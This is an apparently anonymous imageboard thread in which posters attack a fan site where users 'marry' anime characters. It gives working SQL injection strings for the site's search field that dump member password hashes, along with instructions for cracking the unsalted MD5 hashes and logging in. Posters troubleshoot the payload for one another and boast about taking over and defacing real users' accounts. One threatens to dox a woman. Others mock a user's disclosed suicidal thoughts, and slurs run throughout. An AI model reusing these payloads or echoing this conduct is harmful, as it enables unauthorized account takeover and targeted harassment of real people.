>Go to this site: http://www.myfconline.com/
>A site where people make accounts to "marry" their waifus/husbandos.
>Find out how many autistic faggots are married to your waifu.
I did this back in middle and high school
Shit, I wonder if my profile is still on there
Except the people who do this are literally in their twenties.
One day, I decided to google my real name. One of the first links was to a site where I apparently 'married' an anime character. I was mortified.
You can't excape your past
I'm still here, if anyone wants to join me in the shenanigans.
Oreki is most loved, as he should be
Aww shit. here it go.
>Not being 18 or older since you were 10
Is that girl still buttblasted? Man, you would think she was 8.
She is. Nothing funny right now though.
how-to from the previous thread
I would love to know what those "private" messages were.
Manual if anyone wants to join in (all from previous thread):
>Put the following into the search field: 'or 1=1 union select 1,concat('character:',character_id),concat('_is_married_to:',member_id) from myfconli_marry.marry where character_id=<id_of_your_waifu_character_goes_here> order by 1#
>copy hash from first result into hash cracking program, eg crackstation.net
Here I thought /a/ was the pinnacle of autism, I have a lot to learn.
Motherfucker, I was outraced.
I just want to applaud the genius that is that name.
Who is that semen demon in that meadow?
Look at the bright side. Future prospective employers that google your name to find out more about you might get a laugh out of it.
It was shit like "love u" and "its okay, you'll get it back"
That's the wrong tutorial, but they should still be able to get it.
Although i kinda forgot you can't copy-paste from an image
soo, here's the copy-pasteable one:
You can get you're waifu's ID from the link of her page.
When you know you're waifu's ID, you can get a list od all member IDs who are married to you're waifu's ID by searching members for
'or 1=1 union select 1,concat('character:',character_id),concat('_is_married_to:',member_id) from myfconli_marry.marry where character_id=<id_of_your_waifu_character_goes_here> order by 1#
Then you can find the actual usernames of those member ID's by following this link
Lastly, you can do this >>101145475 for each one of those faggots.
If you know the username of that faggot who stole you're waifu, you can search members list for
'or 1=1 union select 1,password,concat('_name=',name) from myfconli_marry.members where name='<insert_his_username_here>' order by 1#
and copy the hash from the first result into your favorite hash cracking program. For example, here: https://crackstation.net/
If the brute force succeeds, you can log in and unmarry him from you're beloved waifu.
It was originally Gracful_Goddess_of_the_ash_medow
>This character is currently not married to anyone :(.
Mai waifu is pure
Mai waifu isn't even on that site. One of the benefits of obscure waifus.
I remember from the last thread
Still, great job.
>more people married to Y than Watashi
Anyway Watashi is mai waifu but whoever that one person is can keep her on the site, I don't want to make an account.
For you, anon.
It was an /a/non, anon, check the last thread.
Friendly fire! Friendly fire!
Well shit. I apologize. I'll go look around the forums and try to piss off active members again instead.
Thanks but waifus are really in the heart, nothing in the 3D world can affect them or their relationship with you.
Not the anon who was fucking with medow but posted a journal on this guy's account then he deleted it but didn't change his password.
Also this chick is fucking retarded.
Damn right. You know how it goes.
Semen Demon isn't doing anything funny anymore.
>>101181582 Can I continue this please?
These types of threads always force me to remember the stupid shit I did, it's awful. At least I was never nearly as bad as these faggots and never openly displayed my real name.
Let's face it, we're all just here to fuck with some autistic fags on lame ass site.
Jesus Christ, are people honestly this fucking stupid?
It makes me appreciate /a/'s own self-imposed level of post quality.
As an aside: why is Watashi such a QT3.14?
I am REDACTED, and I forgot the new password I set
Also I got her real name and phone. I can't help but want to dox her and send her shit in the mail.
Could somebody do something about the Majikoi girls please?
Yep, this time however it happens to not be DeviantArt.
Wasn't meant to quote
>Yuropoor married to my waifu
I did it anyway
>landwhale alarm detected
>that's just one of their 9 profiles each
Fuck, my waifus are sluts.
And yes, I have 2 waifus, eat a dick.
I wouldn't, I have a policy of keeping that type of stuff contained on the internet. No manner how much a person many deserve something, it's best not to become /b/.
ur a slut. You deserve to have your waifus taken.
I want to know if she is a hambeast. She sounds like a hambeast.
Yeah that's why I'm hesistating.
This is /a/, I like the fact that we can have discussions with out sounding like such a shit site as that one.
Fuck you, they both love me perfectly equally and are fine with a polygamist marriage.
At least your other other waifu has good taste in headphones.
Sure, if you're deaf.
>Implying they aren't sacrifices to fuel your waifu
This is hilarious.
No-one. My waifu is mine alone.
I can't get it to work.
Is that what they told you ?
Your taste, go back and check it.
Oh my fucking god. This is perfection.
Semen demon, reply with hollywood-tier hacker talk.
>Yes, we bypassed the system's mainframe and accessed the data core that allowed us to re-route the site's firewall and crack the hash that would let hack in your account.
Hell , someone actually married Ver?
Don't forget the hack program you made in visual basic.
Why is she so dumb?
>>'or 1=1 union select 1,password,concat('_name=',name) from myfconli_marry.members where name='<insert_his_username_here>' order by 1#
I'm having trouble understanding this line.
From what I understand I search this up until ) in members and replace name with the id. I get an error. Can anyone clarify what I need to do to get the hash?
Man, the private messages of some these people.
And the beauty is that no one will ever want to steal him away! seriously this site has no way to delete characters I would fix this if I could
You have to replace the arrows in <insert_his_username_here>
<naruto> = wrong
'naruto' = correct
Nothing i can do if the guy's account is banned right?
I... I remember when I used to roleplay like that. I didn't know what I was doing. Stuff like this really makes me hate my past self. A lot. I would slap my past self if I could.
What shenanigans are we up to? Makin' some trouble int he neighborhood? I thought this was a shit thread but it looks like fun now.
If you can upload images, use this little MML music script I have.
'or 1=1 union select 1,password,concat('_name=',name) from myfconli_marry.members where name='waifu' order by 1#
Character's name goes in the spoiler. Rest of the line is unmodified.
Had a friend who did that with his real girlfriend on a forum they both went to, this was back in 8th or 9th grade mind you. That Sergent guy is 26...
Messing with autists by (they think we're hacking, lol) cracking their useless, poorly passwords on a site where people create accounts to "marry" their waifus/husbandos.
But I'm not having much luck hash cracking them
>Oh my fucking god. This is perfection.
Thank you anons, I was successful.
Fuck you too, Paint.
Just curious, what hashing algorithm is this using?
Mention living in the DATABASE.
Better yet, start making that auto-play on the accounts you give makeovers to.
My mistake. I meant to quote the role-play post.
It's just too fucking great.
single round of MD5 without a salt
>because you sickos think Polygamy is okay
Haremfags are the worst. I just checked and my waifu is only married to 4 people. Two of them are haremfags and 2 of them are married to her and her alone. Counting me, she's got more people who treat her right than don't.
That is just sad and they let you use SQL in the search box too, whoever designed this site is a genius
My waifu is married to 2 people, one with 87 and one with over 1800
say that your gonna load up your special .exe's that you got from your uncle who works at nintendo and delete their hardrives.
These people need to be stopped.
>uncle who works at nintendo
Jesus that brings back memories.
What makes it worse is that the 1800 guy is banned so i can't do shit about it.
My hips too! My hips are moving on their own! Please, send help.
What the hell
Oh god, I can't take much more, pls stop.
What a slut, was he banned for being a giant whore?
i got them mixed up, the 80ish guy is banned the 1800 guy is
I'm giggling like an idiot.
>And yes, I have 2 waifus, eat a dick.
No, you have 0 waifus. You just don't know what waifu means.
Damn, this site is actually a threat /a/ deems worthy of destruction? How bad are they?
>Avatar: the Last Airbender
it's a website of mansults and whores
No one is married with mai waifu.
No one posts her in the "if your waifu is posted, go to sleep" too so although she's not an obscure waifu. no one remembers her for some reason... it's a bittersweet feeling
> over 1,800 waifus
KILL THEM, KILL THEM ALL.
Are they really allowing straight SQL queries in their searches? That's just fucking insane.
Thank heavenly christ.
better than yoko
Oh, he last logged in on my birthday... That just devalues my memory of that day.
Imagine if he added another few hundred waifus to his parade of autism and bad taste on that day. It's probably look like something out of Paprika.
>Remember old account information
>Registration Date: Sep. 11th 2005
>Married to: Sanji (One Piece)
>picking on the mentally handicapped
I know I'm a horrible person but I can't stop laughing.
>married to 5 people
I found somebody with 2297 waifus/husbandos
W-w-wish me luck
Just report them for being a whore.
>does this code look good for grabbing the admin accounts?
My sides have left the building.
This faggot here:
>married to 165 characters
>"HOP UP OUT DA BEEEEEEEED!!! TURN MY SWAG ON!!! LOOK IN THE MIRROR AND IM LIKE WASSUP!???... YEAHHHHHHHHHHH!!!! IM GETTING MONEEEEYYYYYYY!!!!!!"
They all remind me of Chris-chans.
Well got nothing.
I'd highly recommend not talking like you're on /a/. I doubt these people can find this place and shit post seeing how they can't even into basic password security, but you never know.
>My activity on this site has slowed down. Not because I don't want to be here, but because something is won't with me.
It's actually for NES music, which makes that uncle at nintendo post funnier to me.
She's probably in tears, she should bottle them and use them in her next Wiccan ceremony.
The tears of a rustled, angry Autist.
I just started hammering the delete key like it would help.
>website links to his Tumblr
password is anime1
SOMEBODY HELP ME BREAK UP HER MARRIAGES
>20 years old
>Talks like she is 10
Why do people like this exist on the same planet as me?
To make us feel better about ourselves.
Goddamnit, this 48 assholes. I will not be part of your childish games, morons. My love trascends space and time even before you pressed that fucking button.
What the fuck? Seriously? People deserve to have their shit fucked with if that's the level of password strength they use.
>It's like saying facebook is wrong.
The accounts I've gotten into had the passwords of 1, qwertyuiop, and aspey. Pretty high level passwords here.
>When Have You Cried The Most? I don't know, I try not to cry really.
>I wish I could die.
>HAVE YOU EVER
>Been Rejected? Yes
>Ran Away From Home? Yes
>Slept Outside? No
>Skipped School? Yes
>Thought About Suicide? Absolutly
>Cried In School? Yes
>Thrown Up In School? Yes
>Cheated On Someone? Yes
>Seen A Dead Body? Yes......
>Believe In Yourself? No
>Think You Are Attractive? No
>Get Along With Your Parents? No
>Pray? Hell no
>WHO WAS THE LAST PERSON
>You Touched: Dad, tried to hit him for being annoying. XD
>Uou Yelled At: Dad
>WHAT'S THE LAST
>Time You Laughed? Don't remember
>Time You Cried? Last Night
>What Country Would You Most Like To Visit? Japan
>Are you a virgin? Yes
Please get help.
Only one of the 3 faggots who were mistreating mai waifu had a simple enough password, but I managed to save her reputation a little bit anyway.
The one I'm shitposting with had "sierra" as his password. But with a name like "swordmaster7" I wasn't expecting much
12 people are married to Ushio from Clannad.
If anybody was retarded enough to put a birthday plug that in too.
Fun while it lasted.
That was sudden, bye thread. Thanks everyone, it was fun.
It was nice, but if we keep going we'll only become cancer at this point. Thanks guys.
Yeah. Wasn't animu or mango, even if it was hilarious.
Are there legal issues with this stuff?
Last update message on the main site was August 13, 2011. Whoever owns the site probably doesn't even care.
Don't know if anyone's lurking here but MYFC kids are still upset over what we did yesterday.
>Posted by Sergeant_Destroyer
>Thanks to these fucktard hackers everyone us fucking pissed off or upset nice work you fucktards messing with everyone profile hope your happy with yourselves you made this site a wasteland now
This is true comedy gold.
>I'm evacuating members to WWW.inourafterlives.com if anyone needs a place they can meet its there.
>All this accusing a random guy of doing it because of some shitty drama.
This shit was more entertaining than it should be, thanks anons and /a/.
Looks like the dust has settled and everyone made peace. Too bad there wasn't any real lasting damage.